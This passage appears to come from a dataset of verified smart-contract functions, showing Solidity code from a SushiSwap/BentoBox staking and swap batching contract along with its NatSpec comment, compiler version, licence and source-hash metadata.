(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | unstakeSushiFromCreamFromBento | function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
| /// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
22222,
22847
]
} | 11,799 |
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